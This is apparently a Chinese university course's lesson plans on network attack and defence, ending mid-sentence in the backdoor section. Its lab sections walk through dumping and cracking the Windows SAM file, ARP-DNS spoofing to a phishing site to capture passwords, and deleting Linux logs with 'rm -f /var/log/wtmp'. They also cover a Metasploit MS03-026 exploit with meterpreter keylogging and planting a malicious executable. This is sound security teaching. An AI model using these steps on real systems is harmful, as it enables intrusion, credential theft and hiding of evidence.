《網(wǎng)絡(luò)攻防技術(shù)》教案全套 -第1-7章 網(wǎng)絡(luò)攻擊技術(shù)概述- 移動互聯(lián)網(wǎng)應(yīng)用的攻防

網(wǎng)絡(luò)攻防技術(shù)課程教案學年第學期

教案（課時授課計劃）教師姓名授課班級授課形式講授授課日期授課章節(jié)名稱第1章網(wǎng)絡(luò)攻防技術(shù)概述教學目的與要求1.讓學生了解網(wǎng)絡(luò)攻防的意義；2.讓學生了解網(wǎng)絡(luò)攻防基本概念以及常用方法教學重點或教學難點重點：了解黑客、駭客以及紅客的概念；了解網(wǎng)絡(luò)攻擊的類型、屬性以及方法。端口掃描、口令攻擊、彩虹表等攻擊方法。難點：彩虹表的工作原理。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后習題課后體會授課主要內(nèi)容或板書設(shè)計第1章網(wǎng)絡(luò)攻擊技術(shù)概述1.1黑客、紅客以及紅黑對抗黑客與紅客紅黑對抗1.2網(wǎng)絡(luò)攻擊的類型主動攻擊主動攻擊是指攻擊者為了實現(xiàn)攻擊目的，主動對需要訪問的信息進行非授權(quán)的訪問行為。主要針對信息的可用性，完整性和真實性進行攻擊。被動攻擊利用網(wǎng)絡(luò)存在的漏洞和安全缺陷對網(wǎng)絡(luò)系統(tǒng)的硬件、軟件及其系統(tǒng)中的數(shù)據(jù)進行的攻擊。一般不對數(shù)據(jù)進行篡改，通過截取或者竊聽等方式，未經(jīng)用戶授權(quán)。1.3網(wǎng)絡(luò)攻擊的屬性權(quán)限轉(zhuǎn)換方法動作1.4主要攻擊方法1.5網(wǎng)絡(luò)攻擊的實施過程1.6網(wǎng)絡(luò)功放的發(fā)展趨勢教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年10月9日第6周授課時數(shù)3授課章節(jié)名稱攻防平臺配置、Linux基本命令教學目的與要求1.熟悉Kali在虛擬機中的安裝。2.掌握Linux基本操作命令。教學重點或教學難點重點：學習Kali在虛擬機中的安裝，熟悉Linux常用的cp、mv、mkdir等操作命令，通過實際操作加深印象。難點：了解Linux的文件系統(tǒng)。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)常用命令的綜合練習課后體會授課主要內(nèi)容或板書設(shè)計1.虛擬機下Kali的安裝1.1安裝Kali系統(tǒng)1.2設(shè)置軟件源1.3安裝open-vm-tool2.Linux文件系統(tǒng)2.1根目錄和用戶目錄2.2絕對路徑和相對路徑2.3ls、cd和pwd2.4cp和mv2.5touch、mkdir和rm2.6其他常用指令2.7通配符

教案（課時授課計劃）教師姓名授課班級授課形式講授授課日期年10月14日第7周授課時數(shù)3授課章節(jié)名稱第2章Windows操作系統(tǒng)的攻防教學目的與要求1.了解Windows操作系統(tǒng)的安全機制。2.了解Windows系統(tǒng)下針對數(shù)據(jù)、賬戶以及進程與服務(wù)的攻防。教學重點或教學難點重點：掌握EFS工作原理，掌握SID的概念以及特點，了解Windows系統(tǒng)的SAM文件，了解進程與服務(wù)概念以及常用端口。難點：理解Kerberos工作機制。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計第2章Windows操作系統(tǒng)的攻防2.1操作系統(tǒng)的安全機制Windows操作系統(tǒng)的層次結(jié)構(gòu)Windows服務(wù)器的安全模型用戶賬戶管理用戶模式和內(nèi)核模式2.2針對Windows數(shù)據(jù)的攻防數(shù)據(jù)本身的安全EFS加密BitLocker加密數(shù)據(jù)存儲安全獨立冗余磁盤陣列（RAID）技術(shù)雙機熱備數(shù)據(jù)遷移異地容災(zāi)2.3針對賬戶的攻防賬戶和組用戶的登錄和認證NTLM登錄驗證Kerberos登錄驗證賬戶的密碼和安全SAM文件的獲取:SAM文件開始被系統(tǒng)調(diào)用而無法直接復制，但可通過以下兩種方式獲?。簭椭芐AM備份文件使用regsavehklm\samsam.hive命令將SAM文件備份出來SAM文件的破解 利用LC5、10phtcrack、WMIcrack、SMBcrack等工具軟件破解SAM文件內(nèi)容權(quán)限管理2.4針對進程與服務(wù)的攻防進程、線程、程序和服務(wù)的概念重要系統(tǒng)進程常見的服務(wù)與端口

教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年10月16日第7周授課時數(shù)3授課章節(jié)名稱Windows加密，口令破解實驗教學目的與要求掌握EFS加密以及Windows系統(tǒng)的口令破解教學重點或教學難點重點：使用EFS對文件進行加密，學會備份SAM文件并對其進行破解，掌握FTP和遠程桌面連接的使用。難點：安裝和配置FTP服務(wù)器并進行上傳更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)1、讓學生思考下實驗還有哪些未完成的事情。2、嘗試破解系統(tǒng)的administrator，記錄遇到的問題，并寫下解決方法。課后體會授課主要內(nèi)容或板書設(shè)計Windows加密，口令破解實驗口令破解實驗情景設(shè)置主題情境背景：某公司員工A電腦有份重要價值的文件，員工B想要拿過來去賣給別的公司。主題情境目標：員工B通過使用工具滲透到員工A的電腦上，竊取那份文件。主題情境條件設(shè)置：文件為員工A的私有文件員工B知道員工A使用的是微軟已經(jīng)停止更新服務(wù)的XP系統(tǒng)員工A下班回家，為便于回家后還可以繼續(xù)訪問公司電腦。他讓管理員把他的電腦開通了遠程桌面實驗分析與設(shè)計實驗環(huán)境配置用戶口令破解漏洞利用，獲取shell權(quán)限創(chuàng)建管理員賬戶SAM文件獲取離線破解用戶口令竊取文件使用員工A賬戶遠程登陸訪問待竊取的文件2.Windows加密當前用戶A采用EFS加密文件或文件夾切換其他用戶B登錄，訪問EFS加密的文件,可發(fā)現(xiàn)不可以讀取已加密的文件切換回用戶A登錄，可直接訪問A之前采用EFS加密的文件

教案（課時授課計劃）教師姓名授課班級授課形式講授授課日期年10月21日第8周授課時數(shù)3授課章節(jié)名稱第2章Windows操作系統(tǒng)的攻防教學目的與要求了解Windows系統(tǒng)下針對日志、系統(tǒng)漏洞以及注冊表和組策略的攻防教學重點或教學難點重點：了解Windows系統(tǒng)日志的基本功能以及管理維護，了解漏洞產(chǎn)生的原因以及攻擊與防范對策，掌握Windows系統(tǒng)中注冊表以及組策略的使用。難點：學會利用漏洞發(fā)起攻擊。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計第2章Windows操作系統(tǒng)的攻防2.5針對日志的攻防Windows日志概述日志分析防火墻日志分析通過對防火墻日志的分析，可以找出針對本地主機的潛在威脅，并對攻擊者的IP進行溯源。IIS日志分析日志管理網(wǎng)絡(luò)入侵基本步驟系統(tǒng)日志安全保護目標假設(shè)一旦攻擊行為已經(jīng)成功完成了前兩步的操作的前提下，仍然能夠保護系統(tǒng)日志的安全系統(tǒng)日志安全保護方式加強對日志文件訪問賬號的安全管理對日志文件進行安全備份2.6針對系統(tǒng)漏洞的攻防Windows系統(tǒng)漏洞利用漏洞攻擊方式0Day漏洞通用漏洞披露庫（CVE）典型的利用漏洞的攻擊過程漏洞掃描攻擊工具準備發(fā)起攻擊補丁管理安裝軟件補丁是安全和迅速解決小范圍軟件錯誤的有效途徑2.7針對注冊表和組策略的攻防針對注冊表的攻防注冊表的概念注冊表簡介針對組策略的攻防組策略（GroupPolicy）是Windows系統(tǒng)中一個能夠讓系統(tǒng)管理員充分管理用戶工作環(huán)境的工具，通過它可以為用戶設(shè)置不同的工作環(huán)境。組策略配置組策略、注冊表、控制面板對比本地安全策略教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年10月23日第8周授課時數(shù)3授課章節(jié)名稱ARP和DNS欺騙攻擊教學目的與要求1.掌握ARP欺騙的原理2.掌握DNS欺騙的原理教學重點或教學難點重點：掌握ARP欺騙和DNS欺騙的原理難點：使用工具實踐ARP和DNS欺騙更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計ARP和DNS欺騙攻擊ARP原理ARP協(xié)議：ARP（AddressResolutionProtocol，地址解析協(xié)議）是一個位于TCP/IP協(xié)議棧中的網(wǎng)絡(luò)層，負責將某個IP地址解析成對應(yīng)的MAC地址。ARP協(xié)議的基本功能：通過目標設(shè)備的IP地址，查詢目標設(shè)備的MAC地址，以保證通信的進行。ARP攻擊的局限性：ARP攻擊僅能在局域網(wǎng)進行，無法對外網(wǎng)進行攻擊。ARP攻擊的攻擊原理：ARP攻擊就是通過偽造IP地址和MAC地址實現(xiàn)ARP欺騙，能夠在網(wǎng)絡(luò)中產(chǎn)生大量的ARP通信量使網(wǎng)絡(luò)阻塞，攻擊者只要持續(xù)不斷的發(fā)出偽造的ARP響應(yīng)包就能更改目標主機ARP緩存中的IP-MAC條目，造成網(wǎng)絡(luò)中斷或中間人攻擊。常見的ARP欺騙手法：同時對局域網(wǎng)內(nèi)的一臺主機和網(wǎng)關(guān)進行ARP欺騙，更改這臺主機和網(wǎng)關(guān)的ARP緩存表。如下圖（PC2是攻擊主機，PC1是被攻擊主機）所示：主題情景設(shè)置主題情景背景：A為犯罪嫌疑人，警察B想獲得A在其單位網(wǎng)站的用戶名與密碼，以從A單位郵箱中查找犯罪證據(jù)文件主題情景目標：警察B通過ARP—DNS欺騙，將A訪問單位網(wǎng)站跳轉(zhuǎn)到與其單位網(wǎng)站幾乎一樣的釣魚網(wǎng)站，進而獲得嫌疑人A的用戶名與密碼主題情境條件設(shè)置：警察與嫌疑人的電腦在同一局域網(wǎng)內(nèi)已有A單位的釣魚網(wǎng)站實驗過程攻擊機運行Cain工具，配置“Sniffer”標簽項選取嗅探的協(xié)議類型和端口號選擇ScanMACAddresses進行掃描進行嗅探選擇網(wǎng)關(guān)和被欺騙地址配置ARP-DNS選項.(將其單位網(wǎng)站的訪問欺騙到IP地址為0的主機上)。進行ARP欺騙嫌疑人A訪問其當我網(wǎng)站將跳轉(zhuǎn)到主機0上布置的釣魚網(wǎng)站。在嫌疑人登錄其單位網(wǎng)站，即可以獲得A的用戶名與密碼。

教案（課時授課計劃）教師姓名授課班級授課形式理論授課日期年10月28日第9周授課時數(shù)3授課章節(jié)名稱Linux操作系統(tǒng)的工作與安全機制教學目的與要求了解Linux系統(tǒng)的工作與安全機制教學重點或教學難點重點：掌握Linux系統(tǒng)用戶和組的概念，掌握Linux系統(tǒng)身份的幾種認證方式以及特點，掌握Linux系統(tǒng)權(quán)限分配與訪問控制機制，了解Linux系統(tǒng)日志的基本概念和管理維護。難點：Linux系統(tǒng)用戶權(quán)限中SUID和SGID的概念更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)簡述Linux系統(tǒng)的安全機制及主要實現(xiàn)方法。Linux環(huán)境中的用戶賬戶分為哪幾類？如何獲取其信息？如何進行安全防范？課后體會

授課主要內(nèi)容或板書設(shè)計1Linux操作系統(tǒng)的工作機制1.1Linux操作系統(tǒng)概述Linux基本思想是：一切都是文件。即系統(tǒng)中包括命令、硬件和軟件設(shè)備、進程等所有對象對于操作系統(tǒng)內(nèi)核而言都被視為擁有各自特性或類型的文件。1.2Linux操作系統(tǒng)的結(jié)構(gòu)從體系結(jié)構(gòu)來看，Linux操作系統(tǒng)的體系架構(gòu)分為用戶態(tài)和內(nèi)核態(tài)，也稱為用戶空間和內(nèi)核。硬件抽象層中的各類設(shè)備驅(qū)動程序可以完全訪問硬件設(shè)備，方便地以模塊化形式設(shè)置，并在系統(tǒng)運行期間裝載和卸載。硬件抽象層以上是內(nèi)核服務(wù)功能模塊，包括：進程管理、內(nèi)存管理、文件系統(tǒng)管理、設(shè)備控制與網(wǎng)絡(luò)5個子系統(tǒng)。所有的內(nèi)核模塊通過系統(tǒng)調(diào)用接口向用戶態(tài)的GNU運行庫及工具、命令行shell及應(yīng)用軟件服務(wù)。1.3Linux操作系統(tǒng)的工作機制Linux操作系統(tǒng)在進程與線程管理、內(nèi)存管理、文件系統(tǒng)管理、設(shè)備控制、網(wǎng)絡(luò)、系統(tǒng)調(diào)用等方面都形成了特有的工作機制。進程管理內(nèi)存管理、文件管理及設(shè)備管理網(wǎng)絡(luò)管理Linux操作系統(tǒng)的安全機制2.1用戶和組1、用戶：Linux的用戶信息保存在系統(tǒng)的/etc/passwd文件中，主要包括用戶名、用戶唯一的標識（uid）、使用Shell類型、用戶初始目錄等，而被加密后的口令則存放在/etc/shadow文件中，只有Root用戶可以讀取其信息。Root普通用戶系統(tǒng)用戶2、組Linux組信息保存在系統(tǒng)的/etc/group文件中，包括組名稱、組標識（gid）以及組所包含的用戶名列表，組的被加密后的口令保存在/etc/gshadow文件中。2.2身份認證1、本地身份認證口令認證：登錄進程通過Crypt()函數(shù)對用戶輸入的口令進行驗證，并通過引入在用戶設(shè)置密碼時隨機產(chǎn)生的salt值來提高身份認證的安全性。2、遠程身份認證普遍采用SSH（SecureShell）服務(wù)來實現(xiàn)對遠程訪問的安全保護。Ssh也相應(yīng)的提供兩種認證方式：基于口令和基于非對稱密鑰（服務(wù)器收到登錄指令，用公鑰加密質(zhì)疑，用戶用私鑰解密再發(fā)給服務(wù)器）3、可插入身份認證模塊系統(tǒng)管理員通過PAM配置文件（etc/pam.conf）來定制身份認證策略Linux的PAM配置可以在/etc/pam.conf文件或/etc/pam.d/目錄下進行，系統(tǒng)管理員可以根據(jù)需要進行靈活配置。不過，這兩種配置方式不能同時起作用，即只能使用其中一種方式對PAM進行配置，一般為/etc/pam.d/優(yōu)先。2.3訪問控制Linux的權(quán)限分配與訪問控制機制【核心基于一切都是文件】（3）所屬組和其他用戶在Linux系統(tǒng)中，UID是代表擁有者的唯一標識。根據(jù)管理需要，一個UID可以指派到一個或多個GID中進行管理。（4）SUID和SGID例：Linux系統(tǒng)文件訪問權(quán)限的執(zhí)行位上，有一類特殊的執(zhí)行權(quán)限，或被稱為“特權(quán)”，常見的SUID和SGID。s標志出現(xiàn)在文件所有者的x權(quán)限上時，則此程序被設(shè)置了SUID特殊權(quán)限?！綞g】在系統(tǒng)中有兩個passwd文件，一個在/etc文件夾下，存放用戶的口令等信息，是—個文本文件，任何用戶都可以讀，另一個在，usr／bin目錄下，是一個可執(zhí)行命令。ls-l/usr/bin/passwd-rwsr-xr-x.1rootroot25980Feb172012/usr/bin/passwd//可以看到該文件所屬主權(quán)限標志位上是rws,文件屬主是root,其他人具有執(zhí)行權(quán)限(x),就是說當其他人執(zhí)行該命令是會暫時獲得文件屬主權(quán)限,即root權(quán)限,而root是可以操作/etc/shadow文件的。passwd是一個命令,即一個可執(zhí)行二進制文件,可以使用這個命令來修改用戶密碼。由于用戶密碼是存儲在/etc/shadow文件中,但是該文件權(quán)限是640,就是不允許任何人修改(root除外),使用該命令能修改用戶密碼,是因為執(zhí)行該命令的時候我們擁有了一個特殊權(quán)限,這個特殊權(quán)限讓我們可執(zhí)行passwd命令修改密碼那一刻才能修改shadow文件。2.4Linux的日志Linux系統(tǒng)的日志服務(wù)由日志守護進程syslog管理，syslog位于/etc/syslog、/etc/syslogd或/etc/rsyslog.d中，默認配置文件為/etc/syslog.conf或rsyslog.conf，當某一程序要生成日志時都需要通過配置向syslog發(fā)送信息。默認配置下，日志文件通常都保存在/var/log目錄下。系統(tǒng)接入日志：/var/log/wtmp和/var/log/utmp。/var/log/messages是系統(tǒng)管理員在進行故障診斷時首先要查看的文件。（核心系統(tǒng)日志文件：包含系統(tǒng)啟動、I/O錯誤、網(wǎng)絡(luò)錯誤和其他系統(tǒng)錯誤）。wtmp文件記錄每個用戶登錄、注銷及系統(tǒng)的啟動、停機的事件（跟last命令差不多：last–u；last-t）。一般黑客會刪除的日志文件有：lastlog、utmp(utmpx)、wtmp(wtmpx)、messages、syslog。

教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年10月30日第周授課時數(shù)3授課章節(jié)名稱Linux用戶和組的管理、文件權(quán)限管理、用戶密碼破解教學目的與要求1.掌握Linux系統(tǒng)中用戶和組的管理命令2.掌握Linux系統(tǒng)中文件權(quán)限設(shè)置的命令3.掌握口令破解工具彩虹表的使用教學重點或教學難點重點：掌握Linux系統(tǒng)中用戶與組管理的常用命令，掌握彩虹表工具的使用。難點：理解Linux系統(tǒng)文件訪問權(quán)限概念并會進行實際操作更改訪問權(quán)限。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)常用的用戶和組管理命令綜合練習課后體會授課主要內(nèi)容或板書設(shè)計1.Linux系統(tǒng)的用戶和組1.1用戶與UID1.2用戶組2.用戶管理2.1用戶管理命令2.2密碼管理2.3與用戶管理相關(guān)的文件2.4與用戶管理相關(guān)的其他命令3.組管理命令3.1組管理的基本命令3.2與組管理相關(guān)的其他命令4彩虹表4.1生成彩虹表4.2利用彩虹表破解口令

教案（課時授課計劃）教師姓名授課班級授課形式理論授課日期年11月4日第10周授課時數(shù)3授課章節(jié)名稱Linux系統(tǒng)本地與遠程的攻防教學目的與要求1.Linux主機賬戶信息的獲取2.Linux主機的遠程滲透攻擊3.DNS服務(wù)器的攻防4.Apache服務(wù)器的攻防5.Linux用戶提權(quán)方法教學重點或教學難點重點：掌握Linux系統(tǒng)中用戶用戶提權(quán)方法。難點：安全漏洞及利用得方法。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)通過實際操作，掌握利用.htaccess對Apache服務(wù)器進行安全保護的方法。介紹Linux系統(tǒng)中對普通用戶賬戶進行提權(quán)的方法。課后體會授課主要內(nèi)容或板書設(shè)計1Linux主機賬戶信息的獲取1.1遠程登陸賬戶信息的獲取一種最高效的辦法是在直接獲取保存遠程登錄賬戶信息的文件（一種最高效的辦法是在直接獲取保存遠程登錄賬戶信息的文件（/etc/passwd和etc/shadow）后，再從文件中取得用戶名和窗口。直觀方法缺點：出現(xiàn)于安全考慮，Linux系統(tǒng)對保存用戶賬戶信息的文件從存儲和訪問控制等方面都設(shè)置了嚴格的管理權(quán)限，只有Root用戶才能讀取，而要獲取Root用戶的權(quán)限則需要獲得其密碼。多通過口令猜測或暴力破解等攻擊手段來獲取遠程登錄賬戶的信息。常用方式一般過程：先利用Linux系統(tǒng)上的rusers、sendmail、finger等服務(wù)來獲取被攻擊Linux主機上的用戶名，然后再通過猜測（針對弱口令）、字典攻擊、暴力破解等方式來獲得對應(yīng)的密碼。其中，由于Root賬戶的重要性，利用該方法獲得其登錄密碼幾乎成為所有攻擊者的關(guān)注目標。1.2遠程登陸賬戶的防范方法2Linux主機的遠程滲透攻擊2.1Linux安全漏洞及利用例：RHELLinux系統(tǒng)內(nèi)核網(wǎng)絡(luò)協(xié)議棧實現(xiàn)（net/ipv4/udp.c）中存在一個遠程拒絕服務(wù)安全漏洞（CVE-2010-4161），攻擊者通過向目標主機上任意開放的UDP端口發(fā)送一個特殊構(gòu)造的UDP數(shù)據(jù)包，就可以發(fā)起對目標主機的DoS攻擊。2.2針對遠程滲透攻擊的防范方法3DNS服務(wù)器的攻防DNS（DomainNameSystem，域名系統(tǒng)）是互聯(lián)網(wǎng)絕大多數(shù)應(yīng)用的實際尋址方式，域名是互聯(lián)網(wǎng)上的身份標識，是不可重復的唯一標識資源。DNS因其在互聯(lián)網(wǎng)應(yīng)用中的重要性，已成為網(wǎng)絡(luò)攻擊的主要對象。例：一個典型的DNS攻擊過程分析。受暴風影音軟件存在的設(shè)計缺陷以及免費智能DNS軟件DNSPod的不健壯性影響，黑客通過僵尸網(wǎng)絡(luò)控制下的DDoS攻擊，致使我國江蘇、安徽、廣西、海南、甘肅、浙江等省在內(nèi)的23個省出現(xiàn)罕見的斷網(wǎng)故障，即“5?19斷網(wǎng)事件”。3.1DNS安全防范方法3.2針對基于BIND軟件的DNS的安全管理方法4Apache服務(wù)器的攻防4.1針對Apache服務(wù)器常見攻擊方式4.2安全防范方法1、隱藏Apache版本2、創(chuàng)建安全目錄結(jié)構(gòu)3、為Apache分配專門的執(zhí)行賬戶4、Web目錄的訪問控制5Linux用戶提權(quán)方法通過遠程滲透技術(shù)，攻擊者可以獲得系統(tǒng)的遠程訪問權(quán)限，并能夠?qū)崿F(xiàn)遠程登錄。在完成了遠程登錄后，攻擊者就轉(zhuǎn)向?qū)Ρ镜刂鳈C的攻擊。本地主機攻擊過程中最重要的是用戶權(quán)限的提升。5.1通過獲取/etc/shadow文件的信息來提權(quán)5.2利用軟件漏洞來提權(quán)在無法通過獲取/etc/shadow文件的情況下，可以利用Linux系統(tǒng)軟件中存在的漏洞來完成提權(quán)操作。1、利用sudo程序的漏洞進行提權(quán)2、利用SUID程序漏洞進行提權(quán)3、利用Linux內(nèi)核代碼漏洞進行提權(quán)5.3針對本地提權(quán)攻擊的安全防范方法結(jié)合本節(jié)介紹的幾類提權(quán)攻擊方法，下面主要基于Linux服務(wù)器的應(yīng)用，從系統(tǒng)管理的角度提些建議：1、針對SUID特權(quán)程序；2、針利利用代碼漏洞進行本地提權(quán)問題；3、針對Linux在訪問控制機制中存在的本地提權(quán)漏洞。教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年11月6日第10周授課時數(shù)3授課章節(jié)名稱實驗：Linux系統(tǒng)日志清除、及鍵盤記錄教學目的與要求1.了解Linux日志的作用、存放位置、工作特點以及刪除方法。2.Metasploit框架有個初步的認識教學重點或教學難點重點：掌握Linux系統(tǒng)日志的組成、存放位置以及安全管理方法。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)課后體會綜合運用Linux系統(tǒng)提供的大量命令，通過系統(tǒng)的、關(guān)聯(lián)的分析還是能夠找到攻擊者的蛛絲馬跡。授課主要內(nèi)容或板書設(shè)計1情境背景目標：入侵Linux系統(tǒng)后，查閱當前系統(tǒng)的日志信息，分析之前用戶運維操作的命令，并將入侵日志刪除。方法：將前序課程學習到的Linux命令，結(jié)合本課程日志文件存放位置及格式，進行相關(guān)操作。從攻擊者的角度來看，日志文件中記錄的事件信息對攻擊者掌握系統(tǒng)的運行內(nèi)容和運行狀況是很有幫助的；而從防范的角度看，日志中可以記錄幾乎所有的攻擊行為，這些事件信息對于確定攻擊源及攻擊意圖，進而確定相應(yīng)的防范方法都是很有價值的。在Linux系統(tǒng)中，有3個主要的日志子系統(tǒng)：系統(tǒng)接入日志。多個程序會記錄該日志，分別記錄到/var/log/wtmp和/var/log/utmp中，telnet和ssh等程序都會更新wtmp與utmp文件，系統(tǒng)管理員可以根據(jù)該日志跟蹤到誰在什么時間登錄過系統(tǒng)。進程統(tǒng)計日志。進程統(tǒng)計日志由Linux內(nèi)核記錄，當一個進程終止時，進程終止文件（pacct或acct）中會進行記錄這一事件。進程統(tǒng)計日志可以供系統(tǒng)管理員分析系統(tǒng)使用者對系統(tǒng)進行的配置，以及對文件進行的操作。錯誤日志。Syslog日志系統(tǒng)已經(jīng)被許多設(shè)備兼容，Linux的syslog可以記錄系統(tǒng)事件，主要由syslogd程序執(zhí)行，Linux系統(tǒng)下各種進程、用戶程序和內(nèi)核都可以通過Syslog文件記錄重要信息，錯誤日志記錄在/var/log/messages中。2實驗一目的2.1Linux日志的作用。2.2Linux日志的存放位置及工作特點。2.3Linux日志的刪除方法。3實驗一過程3.1查看Linux系統(tǒng)日志。Step1：以root身份登錄系統(tǒng)后，執(zhí)行“cat/var/log/messages”等命令查看以各個日志內(nèi)容：/messages、/secure。Step2：以root身份登錄后，執(zhí)行“who/var/log/wtmp”（如圖3-28所示）、“l(fā)ast”命令，查看wtmp文件的內(nèi)容。3.2手動刪除Linux日志使用root身份登錄系統(tǒng)，執(zhí)行命令：rm–f/var/log/wtmp（如圖3-31所示），再用ls/var/log命令查看/var/log目錄下的日志文件，發(fā)現(xiàn)wtmp被刪除。使用相同的方法，可以對其他日志文件進行修改、刪除操作。4實驗二目的本小節(jié)要求對Metasploit框架有個初步的認識。4.1主要介紹了Metasploit框架中Meterpreter模塊的部分應(yīng)用。4.2在Metasploit幫助文檔和技術(shù)資料的幫助下，通過具體實驗，掌握Metasploit的主要應(yīng)用功能。5實驗二過程Step1：打開攻擊機，啟動MSFConsole。Step2：輸入“searchms03_026”命令，查詢“MS03-026漏洞”的相關(guān)信息。Step3：輸入“useexploit/windows/dcerpc/ms03_026_dcom”命令，查看“利用漏洞”程序需要設(shè)置的相關(guān)內(nèi)容。Step4：對攻擊環(huán)境進行配置。其中：設(shè)置攻擊主機（靶機）的IP地址；設(shè)置本機（攻擊機）的IP地址；設(shè)置監(jiān)聽端口；最后輸入“exploit”命令，會看到探測到對方的系統(tǒng)類型和語言版本，并且顯示已經(jīng)打開的meterpreter會話。Step5：執(zhí)行完exploit后，就已經(jīng)獲得了一個meterpreter

shell。接下來獲取系統(tǒng)權(quán)限。Step6：meterpreter能夠獲得并記錄目標主機上的鍵盤輸入信息，即能夠遠程記錄對方在自己的計算機上輸入的信息，運行“getuid”命令，會看到已經(jīng)具有administrator權(quán)限了。Step7：啟動鍵盤記錄命令“keyscan_start”，開始記錄鍵盤信息。Step8：輸入“keyscan_dump”命令，進行鍵盤輸入信息的監(jiān)聽。Step9：最后，輸入“keyscan_stop”命令，停止鍵盤記錄教案（課時授課計劃）教師姓名授課班級授課形式理論授課日期年11月11日第11周授課時數(shù)3授課章節(jié)名稱計算機病毒、蠕蟲、木馬以及后門教學目的與要求1.了解惡意代碼的各種類型及特征2.掌握惡意代碼之間的區(qū)別（傳播機制、工作機制）3.掌握惡意代碼的防范方法教學重點或教學難點重點：掌握惡意代碼的基本特征難點：惡意代碼實施攻擊方式上的特點以及防范方法。更新、補充、刪節(jié)內(nèi)容無使用教具或手段多媒體課外作業(yè)什么是惡意代碼？主要包括哪些類型？具有什么基本特征？并簡述各類惡意代碼的感染和傳播機制？課后體會授課主要內(nèi)容或板書設(shè)計課程情境導入Step1：生成可監(jiān)聽的exe執(zhí)行程序：Step2：靶機端植入iambad.exe，在攻擊端上配置PayloadHandler：Step3：靶機上雙擊剛才生成的惡意可執(zhí)行程序，攻擊端進行連接監(jiān)聽：問題思考示例中的iambad.exe程序，如果將這個執(zhí)行文件自行引導？通過什么方式設(shè)計的更為隱蔽及難以溯源？1計算機病毒1.1計算機病毒的生命周期1.2邏輯結(jié)構(gòu)及基本特征1.3計算機病毒的分類及傳播機制根據(jù)病毒所依附的宿主程序的不同，可將計算機病毒主要分為可執(zhí)行文件病毒、引導扇區(qū)病毒和宏病毒3種類型。一旦病毒在計算機系統(tǒng)中被觸發(fā)，它就會尋找可供感染的宿主程序位置，并復制自身并寄生在宿主身上，病毒可能依附在移動存儲或硬盤的引導扇區(qū)，或者以嵌入代碼的文檔、可執(zhí)行文件或者腳本文件。而傳播的途徑主要有：介質(zhì)、電子郵件等。1.4計算機病毒的防范方法2蠕蟲2.1網(wǎng)絡(luò)蠕蟲的特征與工作機制【核心】網(wǎng)絡(luò)傳播是蠕蟲的本質(zhì)內(nèi)容。網(wǎng)絡(luò)蠕蟲的功能結(jié)構(gòu)包括主體功能和輔助功能兩部分。其中，主體功能包括信息搜集模塊、探測模塊、攻擊模塊和自我推進模塊4個模塊；輔助功能包括實體隱藏模塊、宿主破壞模塊、通信模塊和自動更新模塊4個模塊。2.2網(wǎng)絡(luò)蠕蟲的掃描方式1、選擇性隨機掃描2、順序掃描3、目標地址列表掃描4、基于路由的掃描5、基于DNS掃描6、分治掃描7、被動式掃描各種掃描策略的差異主要在于目標地址空間的選擇。網(wǎng)絡(luò)蠕蟲感染一臺主機的時間取決于蠕蟲搜索到易感染主機所需要的時間。因此，網(wǎng)絡(luò)蠕蟲快速傳播的關(guān)鍵在于設(shè)計良好的掃描方式。一般情況下，采用DNS掃描傳播的蠕蟲速度最慢，選擇性掃描和路由掃描比隨機掃描的速度要快。分治掃描目前還沒有找到易于實現(xiàn)且有效的算法2.3網(wǎng)絡(luò)蠕蟲的防范方法3木馬3.1木馬的基本特征及隱藏技術(shù)區(qū)別：通過判別是否具有傳染性可將木馬與病毒、蠕蟲區(qū)別開來，通過判別傳染途徑是局限于本機還是透過網(wǎng)絡(luò)可將病毒和蠕蟲區(qū)別開來。木馬被植入后，通常利用各種手段來隱藏痕跡，以避免被發(fā)現(xiàn)和追蹤，隱藏技術(shù)分為以下：本地隱藏；通信隱藏；協(xié)同隱藏。每一種隱藏技術(shù)的實現(xiàn)方法不盡相同，歸納起來主要分為以下3種類型：將木馬隱藏（附著、捆綁或替換）在合法程序中；修改或替換相應(yīng)的檢測程序，對有關(guān)木馬的輸出信息進行隱蔽處理；利用檢測程序本身工作機制或缺陷巧妙地避過木馬檢測。該方法無需修改檢測程序，就能達到隱藏的目的3.2各類型木馬1、網(wǎng)頁木馬表現(xiàn)形式：一個或一組有鏈接關(guān)系、含有（用VBScript、JavaScript等腳本語言編寫的）惡意代碼的HTML頁面，惡意代碼在該頁面或一組相關(guān)頁面被客戶端瀏覽器加載、渲染的過程中被執(zhí)行，并利用瀏覽器及插件中的漏洞隱蔽地下載、安裝、執(zhí)行病毒或間諜軟件等惡意可執(zhí)行文件。主要攻擊流程：2、硬件木馬對象：能夠?qū)崿F(xiàn)對專用集成電路（ASIC）、微處理器、微控制器、網(wǎng)絡(luò)處理器、數(shù)字信號處理器（DSP）等硬件的修改，也能實現(xiàn)對FPGA（field-programmablegatearray，現(xiàn)場可編程門陣列）比特流等固件的修改。根據(jù)硬件木馬的不同特性，從不同的角度將其分類，其中最為常見的分類方式有3種：組合型木馬和時序型木馬觸發(fā)和有效載荷兩部分根據(jù)硬件木馬的物理特性、激活特性和活動特性分類3、挖礦木馬挖礦木馬的主要類型：僵尸網(wǎng)絡(luò)：專門用于挖礦的僵尸網(wǎng)絡(luò)主要有“Bondnet”、“yamMiner”、“隱匿者”。網(wǎng)頁挖礦3.3木馬的防范防范1、主機木馬的查看方法2、傳統(tǒng)木馬的防御方法3、網(wǎng)頁木馬的防御方法4后門4.1后門的功能和特點1、方便再次入侵2、隱藏操作痕跡3、繞過監(jiān)控系統(t